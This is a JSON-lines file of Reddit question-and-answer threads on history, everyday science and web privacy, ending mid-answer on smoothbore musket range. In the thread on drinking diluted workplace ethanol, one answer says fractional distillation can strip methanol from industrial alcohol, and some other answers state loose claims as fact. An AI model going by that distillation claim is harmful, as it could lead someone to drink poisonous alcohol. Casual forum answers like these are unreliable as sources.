{"q_id": "4xzgoe", "title": "Is the myth of \"Prestor John\" directly tied to Genghis Khan?", "selftext": "The names sound similar to me which makes me think that they are possibly more directly related and the name simply distorted as it traveled distance and language barriers.\n\nIs there any real connection between the two?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4xzgoe/is_the_myth_of_prestor_john_directly_tied_to/", "answers": {"a_id": ["d6jrhxq", "d6jrxvh"], "score": [102, 35], "text": ["Prester John is best understood as a mythological figure whose stories were influenced by real figures (analogies might be Robin Hood or King Arthur), rather than being a mythologised historical figure (such as Charlemagne).\n\nPrester John quite obviously isn't directly related to Genghis Khan, as some of the earliest written mentions come from *Chronica de duabus civitatibus* by Otto of Freising which was written 1143\u20131145, before Genghis Khan was born, and the *Letter of Prester John* which dates from 1165 when Genghis was 2 or 3 years old. \n\nAs far as the influence of Genghis Khan on the legend is concerned, Michael E. Brookes' [thesis](_URL_0_) covers it well:\n\n > The westward expansion of the nomadic Mongols did not go unnoticed in Europe, and the history of Mongol drive across Asia need not be recounted here.  However, two particular Mongol leaders, Genghis Khan and Hulagu Khan, stand out as figures that may have played roles in the evolution of the Prester John legend.  Europeans retained memory of the Nestorian Christian churches in Asia, and there were a significant number \nof Nestorians who held important positions in the Mongol government.\nMoreover, Europeans knew from experience the powerful armies that surged westward across the steppe, and the conquest of Baghdad by Hulagu Khan likely cemented the idea that an eastern ally could open a deadly flank upon the Islamic world. \n\nBrookes' thesis is just generally a good read for analysis of the Prester John myth. I'd also recommend [Kurt -  The search for Prester John,a projected crusade and the eroding prestige of Ethiopian kings,c.1200\u2013c.1540](_URL_1_) for more detail on the later, Ethiopian influences.", "There is some kind of connection, but it is not in the names.\n\nThe first mentions can be dated in the mid-12th century. The Prestor or Presbyter John is named in a letter from a byzantian bishop to pope Eugene III in which the bishop requests help in the fight against the muslims and casually drops the existence of a mighty christian ruler in the far east. This letter was picked up by german chronicler and bishop Otto von Freising who eternalised John in his *Chronica sive Historia de duabus civitatibus*. (This is also featured in Umberto Ecos *Baudolino* - reading is recommended).\n\nThe idea of this mighty christian ruler comes to Europe in a time of struggle against the muslims. Edessa was just lost and the 2nd crusade was about to start. Now enter Genghis Khan. When the europeans first heard tales about his deeds, some of them believed that he must be Prester John. Who else could stir up Asia if not the mystic christian ruler? However, europeans quickly came to realise that this guy probably wasn't your prototype christian, quite the contrary. Now some people believed the mongols to be the apocalyptic people of Gog and Magog.\n\nSoon after the first impact on Europe however, the pope send a delegation to the mongols and tried to establish dimplomatic relations. There was hope that the mongols might be converted to Christendom and be allies in the fight against the muslims. Keep in mind that this was the original idea of the Prester John in the 12th century. In the end they converted to Islam though.\n\nBut even after the age of crusades in the levante, i.e. 1291, the fascination Prester John didn't cease to exist.\nIn the 14th century there was a rise in journey literature. Travel report like the ones of Marco Polo or the fake John Mandeville included the tales about Prester John and his glorious kingdom which today read like heaven on earth. They took the descriptions from older literature and even antic and early medieval encyclopedias like the one of Isidor of Sevilla.\n\nSo, while the names of both aren't really related, Prestor John and Genghis Khan share some common history, at least from a european perspective. I can recommend you some further reading tips. However I'm not at home now, so it can take a day until I can do this. Hope I could be of help."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://utdr.utoledo.edu/cgi/viewcontent.cgi?article=2065&amp;context=theses-dissertations", "https://www.academia.edu/7308673/The_Search_for_Prester_John_a_Projected_Crusade_and_the_Eroding_Prestige_of_Ethiopian_Kings_c._1200_to_c._1540"], []]}
{"q_id": "3ko25k", "title": "what does ideology mean?", "selftext": "I often here people say from an ideological viewpoint. I would love a ELI5 viewpoint that goes beyond the dictionary definition. Thanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ko25k/eli5_what_does_ideology_mean/", "answers": {"a_id": ["cuz087h"], "score": [3], "text": ["Ideologies are entire systems of beliefs, comprised of many ideas, and supported by one or more philosophies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1jgdie", "title": "how does the nsa track my activity even when i use \"incognito mode\" or other private browsing/other anonymity services?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jgdie/eli5how_does_the_nsa_track_my_activity_even_when/", "answers": {"a_id": ["cbedz0y", "cbee05u", "cbee1in", "cbejw68", "cbekesh"], "score": [12, 2, 2, 3, 2], "text": ["Incognito mode only prevents websites from putting or accessing data that is on your local computer. It does not do any encryption or hiding of your IP address, all of that is still in the open.", "\"incognito mode\" is only used locally. That means it is only on your computer, and your browser deletes it for you.\n\n\nNSA tracks at a much deeper level. They have agreements with large ISPs (Such as comcast) to \"mirror\" the traffic sent/received to their servers. That is to say, each time you send or receive data, that data is then copied to the NSA servers.\n", "Porn mode (incognito mode) only keeps you browser from tracking your history, downloads and other activity. Cookies are dumped at the end of a session.\n\nHowever that site can still track you. ", "When you open an incognito window, there's a block of text that you probably ignore every time.  If you read this block of text, it will explain to you in detail the kinds of things that incognito windows do no protect you against.", "Do Chrome add-ons like \"Do Not Track Me\" do anything...?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9hu4ph", "title": "Sichuan is considered to be the most contested province during the Chinese Warlord Era. What made Sichuan such a hotbed for conflict?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9hu4ph/sichuan_is_considered_to_be_the_most_contested/", "answers": {"a_id": ["e6f4hl0"], "score": [25], "text": ["One argument is \u201clocation, location, location\u201d -- that Sichuan suffered greatly during the early warlord period for having the bad luck to be next to a growing military power in the form of the Yunnan-Guangxi alliance. Dixon and Sarkees (2016) describe a series of civil and interprovincial wars involving Sichuan that began with the Anti-Monarchy War of 1915-1916 and continued through 1920, after which Sichuan \u201cenjoyed\u201d four years of autonomy before being reoccupied by \u201cgovernment\u201d forces; thereafter, Sichuan is rarely mentioned as an arena of armed conflict during the warlord period. So I will focus on the fighting in Sichuan from 1915-1920.\n\nYuan Shikai, President of the Republic of China, moved to turn the republic-in-name-only into an empire with himself as founder of the royal dynasty. On December 11, 1915, the parliament \u201celected\u201d him as emperor and the next day he proclaimed the empire. This move provoked opposition from many quarters, but it was in Yunnan that the rebellion began. Military commanders seemed to fear the prospect of a Yuan able to rule without their support.\n\nOn December 25, some 6000 troops in Yunnan declared Yunnanese independence and proclaimed the Yuan monarchy to be illegitimate; fighting soon began as Yunnanese troops invaded Sichuan. About 30,000 government soldiers were mobilized to stop them between January and March. The rebels adopted the name National Protection Army (Ho-kuo-ch\u00fcn). After heavy fighting, Sichuan\u2019s provincial government joined the revolt on February 1. \n\nJapan refused to recognize the monarchy and treated both sides as belligerents, aiding the rebel cause. Jianxi rebelled on March 15, and six days later Feng Guozhang in Nanjing \u2013 one of the government\u2019s top commanders and part of the Beiyang Army that Yuan relied on for support \u2013 declared his neutrality. The South was now united against the loyalist provinces of the North \u2013 and advancing. As Yuan\u2019s army crumbled, he abdicated on March 22. However, the rebels refused to stand down until he abandoned the Presidency. Informal truces existed over much of the front, but hostilities continued. On June 6, Yuan died; nine days later, the new President Li Yuanhong declared the war to be at an end.\n\nThe outcome of the war was a military victory by the rebels, but the price of victory was allowing a weak President who was dominated by northern political figure Duan Qirui. The new President announced the reinstatement of the constitution of 1912 and restoration of the Republic. The rebels rescinded their declarations of independence, but the government of the North was unable to exert effective control over the former rebels in the South.  According to Sutton (1980), Yunnanese \u201ccasualties\u201d to April 1916 numbered between 1200 and 1600, but 2000 were treated for wounds; this suggests that his \u201ccasualty\u201d estimates refer only to those killed rather than the total of killed or wounded. Some 2000 Northern (government) dead were reported in Sichuan, which is where most of the combat took place.\n\nIn 1917, pro-Northern general Liu Ts\u2019un-hou was appointed to replace Tai K\u2019an as the highest military authority in Sichuan. Tai K\u2019an remained governor of the province, but when Liu sought to eject him from the capital of Chengdu on April 18, war broke out. More than 200 soldiers and 3000 civilians died in the first three days of the war. Tai received support from Yunnanese and Guizhou units, which were also nominally part of the national army but really controlled by the respective warlords of each of the provinces. Together, they maintained Tai in power. On or about July 6, Liu attacked the capital. On July 12, a ceasefire was agreed upon and the remaining 2000 Guizhou troops evacuated Chengdu. However, they were ambushed and about 500 of them were killed. \n\nLo P'ei-chin, the military commander of Yunnan-Guizhou forces, immediately dispatched 10,000 reinforcements to Tai, which arrived too late to prevent Tai\u2019s death. They faced off against about 25,000 Sichuanese troops. Attacked on three fronts, the Sichuanese suffered 2000 wounded on the Chengdu front alone. But then the Sichuanese mounted a counterattack and almost 1000 of Lo\u2019s men drowned or otherwise died during the ensuing rout. \n\nOn August 2, a truce was signed, but it later broke down when the Sichuan conflict became merged into the North-South War (see below). Lo was dismissed as commander in chief by the Yunnan governor in September. The war had effectively been won by Sichuanese forces under Liu. Yunnan completed its withdrawal from the province in November."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1thqf1", "title": "Has anyone held two Emperor titles at once?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1thqf1/has_anyone_held_two_emperor_titles_at_once/", "answers": {"a_id": ["ce86yp0", "ce87g72"], "score": [7, 3], "text": ["Francis II was Holy Roman Emperor from 1792 until he dissolved the Holy Roman Empire in 1806 due to the pressures in the war with Napoleon. In 1804, he created the Austrian Empire and became the first Emperor of Austria. So for those two years, he held two Emperor titles.\n\n\nMore examples can be found, but it depends on how you define Emperor. What makes an Emperor different from a King? Most historical empires weren't actually known as empires at the time and in many cases there was no equivalent title in a particular culture. After all, Emperor is just an English word derived from an Old French word that was derived from the Latin word Imperator.\n\n\nFor example, Alexander the Great was Basileus of Macedonia. While Basileus was later used by the Byzantine Emperors, at the time it was just a title used by the Greek kings. However, nowadays the Macedonian Empire is often used to refer to the lands that he took. At the same time, after he conquered the Persians he took the title of Shahanshah, or \"King of Kings\", that the Persians had used. Therefore, an argument could be made that he held two titles that were de facto on the level of Emperor.", "Carlos V of Spain was also kind of like Francis II.  He was the ruler of the Holy Roman Empire and the Spanish empire (which included Latin America at the time) until around 1556.  It was said that his empire was the one on which the sun never set because he ruled so much of the world.  In fact, he was known as Carlos V of the Holy Roman Empire and Carlos I of Spain to reflect his place in the royal lineage in both kingdoms.  \n\nThe reason he ruled 2 empires was because his mother, Juana of Spain (daughter of Isabel of Spain, the queen who financed the voyage of Christoper Columbus), married into the Hapsburg dynasty.  When his father and grandparents passed away, he became the leader of two separate empires spanning about 4 million square km.  \n\nHe abdicated the throne a couple years before his death and ended up splitting his empire into two halves.  Felipe II, his son, received the Spanish empire and his brother Ferdinand received the Holy Roman Empire. \n\nEdit: Some more details. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "icw8t", "title": "If I dilute pure ethanol with water, does that make vodka?", "selftext": "I have industrial strength (190 proof, or 95%) ethanol at my workplace, and if I were to HYPOTHETICALLY dilute it, could I drink it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/icw8t/if_i_dilute_pure_ethanol_with_water_does_that/", "answers": {"a_id": ["c22q34n", "c22q4em", "c22q5ti", "c22q6wk", "c22q75k", "c22q9vy", "c22qa5j", "c22qw0m", "c22qw71", "c22qxb8", "c22qxc9", "c22rjtv", "c22robf"], "score": [7, 4, 48, 3, 25, 7, 2, 4, 4, 11, 2, 3, 3], "text": [". I wouldn't recommend it. Industrial ethanol often has additives that are intended to make it taste extremely bitter or induce vomiting.", "Vodka is just water and alcohol. But if you ask a vodka manufacturer, especially in Poland or Russia, you'll get a mouthful about technique and ingredients on why it's just more than water and alcohol. I guess you can say it is water, alcohol and marketing.\n\nHypothetically, I wouldn't take industrial ethanol from my workplace because stealing is wrong and there are usually additives in industrial ethanol that make undrinkable. But if it's pure ethanol (no additives), hypothetically you could drink it undiluted and come out unharmed assuming you don't drink too much and get alcohol poisoning.", "Maybe.  If you're working in a synthetic lab, then yes, it should be safe -- since 95% ethanol *does* mean the rest is water.\n\nIf not, then the rest depends on what else is in your 95% ethanol.  Where I come from, for tax and regulation, industrial ethanol comes with additives to prevent people from diluting it and using it as drinking alcohol.  In any case, even without the additives, it's probable that it's a different grade than alcohol for human consumption, and *may* have impurities that are bad for humans.\n\nHow can you tell if you should HYPOTHETICALLY dilute and drink it?  Well, you probably can't.  So... I'd recommend against trying.  Beer is cheap; organ transplant is expensive.", "I recommend that you seriously consider abandoning this line of research and start a new research project over in /r/homebrewing.", "Most 95% alcohol is denatured by adding nasty stuff like acetone and isopropyl alcohol that will kill you if you drink it. So, don't do that.\n\nAbsolute ethanol, the 99%+ stuff, is theoretically drinkable, but still has bits of horrifying stuff used in the purification process, like benzene or gasoline.\n\nIf you really want to get drunk on your lab's dime, publish a paper and demand celebratory champagne.\n\nAs a side note, I have noticed I get a little bit loopy when spraying the 70% denatured stuff around to clean incubators. Seems to pass pretty quickly, though.", "If you're question is about making vodka, I recommend visiting /r/homebrewing and the subreddits they link to.\n\nIf you're asking about mixing something with something else so you can drink it, it does not sound very safe.", "I would definitely not recommend using workplace grade ethanol to drink.  Often, benzene is added to azeotrope with the water to increase the purity.  95% is still possible by distillation, but you don't know what the other 5% is and there are no guarantees that it's water.", "I'm not totally sure on the *spirit* of your question, so I'm going interpret it a little differently.\n\nVodka differs from other spirits in that it is essentially is distilled ethanol cut with water(there are several exceptions).\n\n >  This level of distillation is what truly separates a rye-based vodka (for example) from a rye whisky; while the whisky is generally only distilled down to its final alcohol content, vodka is distilled until it is almost totally pure alcohol and then cut with water to give it its final alcohol content and unique flavour, depending on the source of the water. (Wikipedia)\n\nWikipedia also goes into a little detail on the various flavouring components: ethyl acetate, ethyl lactate, and fusel oils.\n\nI'll have to check this to be sure, but I believe a dilution of pure ethanol would give you a very cheap-tasting vodka.\n\nEDIT: Some searching shows that fusel oils ( > 2 carbon alcohols) are responsible for the cheap solvent taste.", "If you pull up the MSDS, you should be able to get information on what the other 5% is. Probably something you absolutely do not want to ingest.", "Probably not. Undergrads tried that at my university a few years back, 8 of them ended up in the hospital with methanol poisoning. I think that this has happened in pretty much every chemistry department at some point or another. Lab ethanol is (except for the high-purity stuff) denatured with methanol to prevent human consumption.\n\nHigh proof grain alcohol (e.g. Everclear) is dirt cheap anyways, and tastes just as  horrid. Save yourself the likely trip to the ER.", "Some kids at a local high school broke into the chem lab and did this a few years back. Fatal. Not one of the five of them survived.", "Before you go drinking the ethanol you \"borrowed\" from your lab i suggest you watch the next 30 seconds of [this](_URL_0_) video.", "The method of commercial vodka production in Uzbekistan was to take industrial alcohol that had not been denatured and dilute it down with water to about 40% by vol, adding a little flavouring. The industrial ethanol would contain impurities such as methanol but in very low concentrations as it was present by accident (it is hard to get 100% purity) rather than design. Industrial ethanol in the west usually contains a higher percentage of methanol that has been deliberately added to make it non-drinkable. It is possible though to make a secondary distillation as ethanol boils at about 78C and methanol at 65C at 1atm. A fractionating column and a condenser would do the job quite nicely and are available in most labs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=CheFL8see30#t=5m"], []]}
{"q_id": "ddlgo5", "title": "- why did only half my pedialyte pops freeze?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ddlgo5/eli5_why_did_only_half_my_pedialyte_pops_freeze/", "answers": {"a_id": ["f2jmw3a"], "score": [9], "text": ["At ELI5 level..\n\nYou supercooled your pops. That is, you've lowered their temperature beyond freezing point without them actually freezing. \n\nThe reason this happens is because liquid usually needs an ice seed to start freezing - not just low temperature. If the liquid is in a suspended state inside a mold, it may not have such seed so it stays liquid.\n\nWhen you touched it, you caused a mechanical shock, which in turn caused ice crystal formation and triggered the freezing process. This also happens with water in the clouds\n\nEdit: oh and this effect is also helped by a small temperature differential between liquid's freezing point and the temperature in your freezer. Water freezes at 0C (32F). Your freezer is at -17C (0F). Big difference. Pedialyte has both salt and sugar that cause it to freeze at a lower temperature, therefore making the temperature differential smaller. Beer freezes at a lower temperature too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1xfj7p", "title": "Was it easy to get peasants to convert when the King did during the middle ages?", "selftext": "It seems hard to believe that so many people would willingly change their religion just because the king did. Did people ever revolt? If they were forced to convert, how did the soldiers enforcing this get converted? I find it especially hard to believe for circumcising religions such as Islam (and I'm aware one king converted to Judaism as well). Did people basically say \"well the king changed his religion so I guess I'm going to cut off part of my penis now\" or was this forced on them?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1xfj7p/was_it_easy_to_get_peasants_to_convert_when_the/", "answers": {"a_id": ["cfax7cq"], "score": [3], "text": ["I can't really speak to Islam, but in the case of the Latin west Christianization was a long and complicated process that arguably was never entirely complete.  Situations differed greatly from place to place and from time to time, so I'll hop between a few examples in the hope that a more general picture can emerge.\n\nObviously, even though the local ruler has converted and the populace is now nominally Christian, pagan practices and worship don't simply stop.  Even in areas that one would think Christianity had been long established, such as Italy during the time of St. Benedict or 6th century Byzantium we find references to pagan temples still in active use (cf. Gregory the Great's *Dialogues*). The conversion of a ruler was generally followed by the promulgation of laws designed to eliminate practices, religious and otherwise, which were considered especially abhorrent to Christians.  For example, in Scandinavia the eating of horseflesh (i.e. sacrificial meat) and the exposure of infants and the elderly was banned on the conversion of the various local leaders.  As time went on and Christianity consolidated itself, more laws banning pagan practice were enacted.  These occasionally caused kickback and the repeated insistence on the need to follow them by various officials indicates that enforcement was not uniform or simple.  \n\nMeanwhile, Christian missionaries worked to root out pagan worship on a local level.  Often this included doing things like destroying pagan shrines, chopping down sacred trees, challenging pagan wonderworkers, and so on.  Unsurprisingly, this could really piss people off and these missionaries regularly faced violent opposition.  As an example, Boniface, the most famous of the great Anglo-Saxon missionaries in the Frankish Empire, was murdered along with his companions during a missionary expedition to Frisia.  The close ties between the process of Christianization and the imperial project of the Carolingian Empire (and other similar projects, like the campaigns of Olaf Tryggvason in Norway) likewise engendered violent revolt, such as that which precipitated the Bloody Verdict of Verdun, where Charlemagne massacred thousands of Saxons due to their rejection of his rule and the Christianity that came with it.  \n\nEven after violent opposition had largely been quelled and \"Christendom\" had in some sense been established through much of Western Europe, practices were widely variable and local beliefs were often anything but Christian in any sense we'd recognize.  There were thus a series of efforts to catechize and reform religious practice that went on throughout the Middle Ages.  For instance, the Carolingian's mandate that local priests must be able to say and explain the Lord's Prayer, read the mass, and properly administer baptism, not particularly onerous requirements which point to the bare bones nature of Christianity at the time, especially in rural areas. The greatest of these probably being the massive reforms of the 11th and 12th century, which climaxed in the Fourth Lateran Council which laid out the basic requirements of the Christian life for laypeople.  Even still, non-Christian practices did not vanish and there are scattered records in hagiography, law codes, histories, inquisition records (cf. Carlo Ginzburg's *The Night Battles*), etc.  persisting well until the era of the Reformation and beyond.  \n\nReally this is a massive topic with tons of places to dig into and explore further, especially considering the extremely local character of Medieval Christianity.  The best primary sources to look for more, in my eyes are hagiographies, particularly those of the monastic missionaries (Boniface and his contemporaries are always very interesting), though it may be difficult to discern what is an accurate report of the situation on the ground and hagiographical trope.  Secondary sources there are any number depending on when and where you're concentrating, Aron Gurevich has written a bit, the above mentioned Carlo Ginzburg, Valerie Flint on magic, Alan Cameron on Greek and Roman paganism's decline, and many more who are not on the forefront of my mind at the moment. \n\napologies for lack of links and any typos/awkwardness of phrasing, this was all typed rather hurriedly and I'm happy to clarify anything if necessary.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3sam1e", "title": "why doesn't google docs allow copy/paste unless you use a keyboard shortcut?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sam1e/eli5_why_doesnt_google_docs_allow_copypaste/", "answers": {"a_id": ["cwvhgfp", "cwvi06f"], "score": [11, 5], "text": ["If I had to hazard a guess [I'm not a web programmer] it's because JS doesn't have access to your clipboard.  That would be a fun security vulnerability.", "The web is always a tricky balance between convenience and security.\n\nThink about what happens when you download and install software on a Mac or PC. You really have no idea what it's going to do. If it's malicious, it can delete all of your files, or steal your email contact list, or whatever. Smartphone apps are slightly better in that you know what permissions they need, but you don't really know if an app is going to be safe, other than trusting reviews and the app store.\n\nThe web has always been different. Web apps are pretty powerful and capable, but as long as you keep your browser up to date, they're also \"safe\" - you know that just visiting a web page won't do anything malicious. Unfortunately that means web apps are limited in a few ways that other apps aren't.\n\nOne example is the clipboard. You don't want any random website you visit to be able to know what text you copied to the clipboard. Because of this, most browsers don't trust web apps like Docs to cut, copy, and paste in response to a menu item, since they don't know what that menu item really is. But for various reasons, they do allow cut, copy and paste in response to the keyboard shortcut, essentially because the keyboard can't be faked by a malicious app.\n\nPeople are working on a solution, but it's been hard to reach consensus. Note that the editing commands in Google Docs do work correctly in Chrome, just not in other browsers currently. FWIW, the reverse is true for Microsoft Office online - cut/copy/paste commands work in IE/Edge but not in any other browser. This will be solved eventually.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "u33wp", "title": "Is it true that democratization has proceeded better under parliamentary systems than presidential ones, and if so, why?", "selftext": "May be too political for /r/AskHistorians, but I'm betting on the intelligence and talent of the submitters here.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/u33wp/is_it_true_that_democratization_has_proceeded/", "answers": {"a_id": ["c4rx3nn", "c4s6307"], "score": [5, 6], "text": ["This question is extremely broad so I don't know how good an answer you'll be able to get for this. In the first place how does one define the term \"democratisation\"? Do you just mean that parliamentary polities tend to be more observably democratic in the liberal democratic sense compared to presidential polities?\n\nEven assuming the correlation holds true (my *prima facie* impression would be yes, parliamentary systems seem to be more historically democratic than presidential systems), it would be very, very difficult to answer the next bit -- why. You could write several books offering several different explanations and still not come close to exhausting the possible range of answers.\n\nBut anyway, probably the tl;dr answer to your question is in Wikipedia: _URL_0_\n\n > Some scholars like Juan Linz, Fred Riggs, Bruce Ackerman, and Robert Dahl claim that parliamentarianism is less prone to authoritarian collapse. These scholars point out that since World War II, two-thirds of Third World countries establishing parliamentary governments successfully made the transition to democracy. By contrast, no Third World presidential system successfully made the transition to democracy without experiencing coups and other constitutional breakdowns.[citation needed]\n\nNote these scholars tend to be political scientists or sociologists so you should also try to find some answers in those fields.", "A greater portion of parliamentary democracies have been stable than presidential democracies. Juan Linz famously argued that there are five major factors that cause presidential systems to be less stable:\n\n1) The president and the legislature are both directly elected, and thus have competing claims of legitimacy. This encourages conflict, in contrast to a Prime Minister, who is not independent from the legislature and can be removed fairly simply if they stop liking him.\n\n2) Fixed elections create rigidity. Even if the government isn't working at all, you have to wait until the next election. Being able to call new elections when needed can help solve intractable problems.\n\n3) Since there is only one president, the election becomes a zero-sum game, with the losers locked out of power.\n\n4) Having been directly elected may go to the president's head, essentially, and give him an elevated sense of importance.\n\n5) Political outsiders are more likely to win election, since pretty much anyone can run for president.\n\nOf course, not everyone agrees with him. Scott Mainwaring and Matthew Shugart wrote a rebuttal:\n\n1') Dual legitimacy is not limited to presidential systems. Bicameral legislatures have a similar issue. As long as the powers of each side are carefully balanced it isn't necessarily a major problem.\n\n2') Rigidity can be a problem, but so can flexibility. Frequent government changes aren't exactly a model of stability. A bit of rigidity and predictability can be a good thing.\n\n3') The degree of \"winner-take-all-ness\" has more to do with the electoral and party system than presidential vs parliamentary. A parliamentary system with a single-party majority as is common in the Westminster model actually has much fewer checks on executive power than presidentialism.\n\n4') They kinda just dismiss this as being partially founded on point three and partially on Linz playing amateur psychologist.\n\n5') Electing a political outsider can be an issue, but once you have well-established parties it becomes rather unlikely.\n\nThey also argue that parliamentarism's apparent superior record can be attributed to coincidence. The countries that implemented parliamentary systems simply tended to have other factors in their favor, such as smaller population size and higher per-capita income.\n\nSince empirical data is a bit difficult to gather for this stuff there's no right answer and you pretty much have to exercise your own judgement on the matter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Parliamentary_system"], []]}
{"q_id": "1beqm9", "title": "Why were quills dipped in ink used for composing letters?", "selftext": "And how long did this go on? It seems like a strange practice, really. I understand that obviously ink pens are a fairly recent creation, but why quills?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1beqm9/why_were_quills_dipped_in_ink_used_for_composing/", "answers": {"a_id": ["c967zec"], "score": [3], "text": ["Quills were used because they were hollow and would suck up ink, much like a dropper.\nA small diagonal cut was made at the tip of the quill so that it provided a little tip at the end and ink would not spill.\nThe art teacher in my school told us that and showed an example using an eagle's feather."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "51tveu", "title": "why do mobile browsers (safari, chrome) not support extensions?", "selftext": "I would love to get an ad-blocker for mobile but I have yet to see where it will allow it. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/51tveu/eli5_why_do_mobile_browsers_safari_chrome_not/", "answers": {"a_id": ["d7ex454"], "score": [2], "text": ["Not all mobile browsers do not support extensions. Mobile Firefox has supported them for ages. \n\nOthers don't support them because, well, they don't want to write that into the code. You'd have to ask Apple and Google why they don't want to support them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b0jr2k", "title": "why does your bum hurt/rash if you don\u2019t wipe properly? is there something in faeces which reacts to your skin, or is there something like bacteria eating it that inflames it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b0jr2k/eli5_why_does_your_bum_hurtrash_if_you_dont_wipe/", "answers": {"a_id": ["eif3dmf", "eifho4w", "eifj13x", "eift7kk", "eifuyc5"], "score": [604, 155, 12, 21, 12], "text": ["There\u2019s bacteria and acid which irritate the skin.  Add friction from the cheeks constantly rubbing and you\u2019ve got a stew going.  ", "To add to all the other mentioned irritants in human feces, it also contains the protein-digesting enzyme trypsin which can literally digest your ass.", "Skin will form a rash if it's constantly wet. One of the problems if you don't change your baby's diapers often enough.", "PSA: I worked in a butt clinic and a common misconception people have is that itching is a result of being dirty. More often than not, it's actually from cleaning too attentively. As other people stated, that exposes the skin to irritants. You should clean ever so gently. Don't scrub or wipe too hard. You don't want to strip the natural oils that protect the skin or abrade the skin. We usually recommended wiping with a moistened toilet paper, but honestly in my experience the paper rips. Just wipe gently 2-3 times. If you're finding it hard to get clean after that, then you need to work on your stool consistency. Eat fiber, drink more water. Also, in the shower, clean gently with water. Avoid soap because that strips the natural oils. Don't scrub. ", "Makes one wonder what happened throughout l the long history of our species before modern hygienic practices?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4orf45", "title": "What was the most common engagement range for smoothbore muskets? How did military doctrine on this change over time if at all?", "selftext": "Apologies if this comes across as sort of a loaded question but it's something that's been bugging me. Some writers from the late 16th century like Roger Williams wrote that a musket with good powder was deadly at up to 600 paces, Humfrey Barwick recommended taking the first shot with a musket at around 480 paces and mentioned that gunmen knew how to estimate range of distant targets and adjust their aim to account for bullet drop. John Smythe on the other hand wrote that firearms were useless past 20-30 paces.\n\nFor the late 18th century, [this article](_URL_0_) claims that the \"point blank\" of a musket was considered to be about 300 yards. Which seems to fly in the face of stories from that period of entire companies opening fire at 100 yards and missing every single shot, as well as claims that musketeers would hold their fire until they got within 50-100 yards of the enemy.\n\nSo I guess my question is what was the reality in combat generally like during the early modern era? Were these larger numbers just theoretical maximums widely ignored by experienced commanders, or would battlefields usually see armies firing volley after volley at extremely long ranges hoping to wear down the enemy? Did the average initial engagement range change over time between the age of pike and shot vs the napoleonic wars? Did range vary depending on how experienced the troops were, for instance more experienced gunnmen shooting effectively at very long ranges and less experienced ones being told to hold their fire?\n\nThanks", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4orf45/what_was_the_most_common_engagement_range_for/", "answers": {"a_id": ["d4f9okx"], "score": [2], "text": ["Smoothbore muskets could fire balls considerable distances, sometimes well beyond the ball's ability to do damage. There are accounts of Commanders being struck by balls that only had the power left in them to cause bruises.\n\nTo say that a well trained and experienced soldier could not hit a fairly large target at 300 yards is not true. It was certainly possible to hit an enemy formation (although to hit a man at that distance would be pushing it) at that distance and kill someone. Under several different test conducted over 2 centuries with smoothbore muskets and all of them achieved a roughly 20% hit rate at 300 yards. This agrees with the article you linked. You could give fire that would be felt by the enemy at 300 yards. In the article it appears that the sources mentioned are all in reference to the construction of fortifications, therefore it must be considered that at 300 yards that are mentioned would be with the advantage of height from a wall.\n\nHowever, the technical limitations of the smoothbore musket is not the issue. In a combat situation against an actual unit of enemy infantry whilst they're shooting at you is a completely different situation. The accuracy and rate of fire with muskets declined in combat situations due to the stress and fear experienced by the men. For example, the natives of St Vincent were renowned as excellent marksman and David Stewart, a Black Watch officer, decided to test this. He got a Prisoner to successfully shoot the Orange off the top of a bottle at 200 yards. When asked why he did not shoot with such accuracy against the soldiers who captured him he replied that Oranges do not fire back or charge at him with Bayonets.\n\nExamples of other things causing reduced effectiveness include the misfire rate, which was approximately 1 musket out of 6.5 under ordinary conditions. This would increase to potentially 1 in 4 muskets in wet or unfavourable conditions. Then there is the tendency to fire high, many less experienced troops would be unprepared for the kick of the musket and consequently the barrel would jerk upwards during firing, this allowed certain volleys by green units to leave their opponents almost unharmed by the volley.  We also have panic, with men leaving their ramrod in and firing it at the enemy or ramming down several cartridges and exploding his gun. Men would also rush their firing and not properly taking aim no wait for the word of command and firing randomly. Something else to consider with volley fire is that each shot that strikes the same man twice is effectively wasted reducing the effective hit rate even further. \n\nSo with the limitations being human ability rather than mechanical the drills and tactics of the period where based around utilising this, rather than the supposed theoretical maximum. This is why we see reference to the effective range being 